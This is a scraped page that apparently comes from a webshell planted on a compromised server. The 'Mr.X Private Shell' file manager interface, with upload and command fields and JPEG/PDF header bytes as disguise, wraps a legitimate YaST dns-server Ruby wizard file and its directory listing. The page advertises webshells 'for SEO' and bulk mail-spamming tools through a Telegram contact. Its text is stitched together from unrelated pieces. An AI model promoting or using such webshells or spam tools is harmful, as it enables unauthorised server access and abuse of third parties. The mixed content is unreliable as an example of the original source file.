xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	modules/DnsServer.ycp
# Package:	Configuration of dns-server
# Summary:	Data for configuration of dns-server, input and output functions.
# Authors:	Jiri Srain <jsrain@suse.cz>
#
# $Id$
#
# Representation of the configuration of dns-server.
# Input and output routines.
module Yast
  module DnsServerWizardsInclude
    def initialize_dns_server_wizards(include_target)
      textdomain "dns-server"

      Yast.import "Directory"
      Yast.import "Label"
      Yast.import "Popup"
      Yast.import "Sequencer"
      Yast.import "Wizard"
    end

    def TabSequence
      aliases = {
        "main"             => lambda { runExpertDialog },
        "zone_type_switch" => [lambda { runZoneTypeSwitch }, true],
        "master_zone_tab"  => lambda { runMasterZoneTabDialog },
        "slave_zone_tab"   => lambda { runSlaveZoneTabDialog },
        "stub_zone_tab"    => lambda { runStubZoneTabDialog },
        "forward_zone_tab" => lambda { runForwardZoneTabDialog }
      }

      sequence = {
        "ws_start"         => "main",
        "main"             => {
          :abort     => :abort,
          :next      => :next,
          :edit_zone => "zone_type_switch"
        },
        "zone_type_switch" => {
          :abort   => :abort,
          :master  => "master_zone_tab",
          :slave   => "slave_zone_tab",
          :stub    => "stub_zone_tab",
          :forward => "forward_zone_tab"
        },
        "master_zone_tab"  => { :abort => :abort, :next => "main" },
        "slave_zone_tab"   => { :abort => :abort, :next => "main" },
        "stub_zone_tab"    => { :abort => :abort, :next => "main" },
        "forward_zone_tab" => { :abort => :abort, :next => "main" }
      }

      # Do not let DnsServer manage the service status, let the user decide
      DnsServer.SetWriteOnly(true)
      ret = Sequencer.Run(aliases, sequence)

      ret
    end

    def InstallWizardSequence
      aliases = {
        "forwarders"       => lambda { runInstallWizardForwardersDialog },
        "zones"            => lambda { runInstallWizardZonesDialog },
        "finish"           => lambda { runInstallWizardFinishDialog },
        "tab_seq"          => lambda { TabSequence() },
        "zone_type_switch" => [lambda { runZoneTypeSwitch }, true],
        "master_zone_tab"  => lambda { runMasterZoneTabDialog },
        "slave_zone_tab"   => lambda { runSlaveZoneTabDialog },
        "stub_zone_tab"    => lambda { runStubZoneTabDialog },
        "forward_zone_tab" => lambda { runForwardZoneTabDialog }
      }

      sequence = {
        "ws_start"         => "forwarders",
        "forwarders"       => { :next => "zones", :abort => :abort },
        "zones"            => {
          :next      => "finish",
          :abort     => :abort,
          :edit_zone => "zone_type_switch"
        },
        "finish"           => {
          :next   => :next,
          :abort  => :abort,
          :expert => "tab_seq"
        },
        "tab_seq"          => { :abort => :abort, :next => :next },
        "zone_type_switch" => {
          :abort   => :abort,
          :master  => "master_zone_tab",
          :slave   => "slave_zone_tab",
          :stub    => "stub_zone_tab",
          :forward => "forward_zone_tab"
        },
        "master_zone_tab"  => { :abort => :abort, :next => "zones" },
        "slave_zone_tab"   => { :abort => :abort, :next => "zones" },
        "stub_zone_tab"    => { :abort => :abort, :next => "zones" },
        "forward_zone_tab" => { :abort => :abort, :next => "zones" }
      }

      # In wizard mode, the current status and the status at boot are synced
      DnsServer.SetWriteOnly(false)
      ret = Sequencer.Run(aliases, sequence)

      ret
    end

    # Whole configuration of dns-server
    # @return sequence result
    def DnsSequence
      aliases = {
        "read"   => [lambda { ReadDialog() }, true],
        "main"   => lambda { TabSequence() },
        "wizard" => lambda { InstallWizardSequence() },
        "write"  => [lambda { WriteDialog() }, true]
      }

      sequence = {
        "ws_start" => "read",
        "read"     => { :abort => :abort, :next => "main" },
        "main"     => { :abort => :abort, :next => "write" },
        "wizard"   => { :abort => :abort, :next => "write" },
        "write"    => { :abort => :abort, :next => :next }
      }

      Wizard.CreateDialog
      SetDNSSErverIcon()

      sequence["read"][:next] = "wizard" if DnsServer.first_run

      ret = Sequencer.Run(aliases, sequence)

      UI.CloseDialog
      ret
    end

    # Whole configuration of dns-server
    # @return sequence result
    def DnsAutoSequence
      aliases = { "main" => lambda { TabSequence() } }

      sequence = {
        "ws_start" => "main",
        "main"     => { :abort => :abort, :next => :next }
      }

      Wizard.CreateDialog
      SetDNSSErverIcon()

      ret = Sequencer.Run(aliases, sequence)

      UI.CloseDialog
      ret
    end
  end
end

Filemanager

Name Type Size Permission Actions
cmdline.rb File 41.96 KB 0644
dialog-installwizard.rb File 7.82 KB 0644
dialog-main.rb File 66.78 KB 0644
dialog-masterzone.rb File 90.89 KB 0644
dialogs.rb File 2.16 KB 0644
helps.rb File 24.68 KB 0644
misc.rb File 1.12 KB 0644
options.rb File 13.19 KB 0644
wizards.rb File 4.87 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1